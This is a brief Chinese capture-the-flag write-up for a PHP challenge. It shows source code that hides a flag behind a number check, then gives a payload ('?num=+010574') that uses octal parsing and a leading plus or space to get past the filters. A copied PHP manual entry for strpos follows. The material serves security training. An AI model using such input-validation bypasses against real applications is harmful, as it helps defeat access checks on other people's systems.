0x01 源码
<?phpinclude("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){$num = $_GET['num'];if($num==4476){die("no no no!");}if(preg_match("/[a-z]|\./i", $num)){die("no no no!!");}if(!strpos($num, "0")){die("no no no!!!");}if(intval($num,0)===4476){echo $flag;}}
换成弱比较了,并且屏蔽了小数点和字母,可以考虑使用八进制前加空格或者+号。传入?num=+010574,strpos匹配0的位置为1,加上!返回0。
0x02 Payload
?num= 010574?num=+010574
0x03 PHP函数
1. strpos
strpos — 查找字符串首次出现的位置
strpos ( string $haystack , mixed $needle [, int $offset = 0 ] ) : int
返回 needle 在 haystack 中首次出现的数字位置。
参数
haystack
在该字符串中进行查找。needle
如果 needle 不是一个字符串,那么它将被转换为整型并被视为字符的顺序值。offset
如果提供了此参数,搜索会从字符串该字符数的起始位置开始统计。 如果是负数,搜索会从字符串结尾指定字符数开始。
返回值
返回 needle 存在于 haystack 字符串起始的位置(独立于 offset)。同时注意字符串位置是从0开始,而不是从1开始的。
如果没找到 needle,将返回 FALSE。
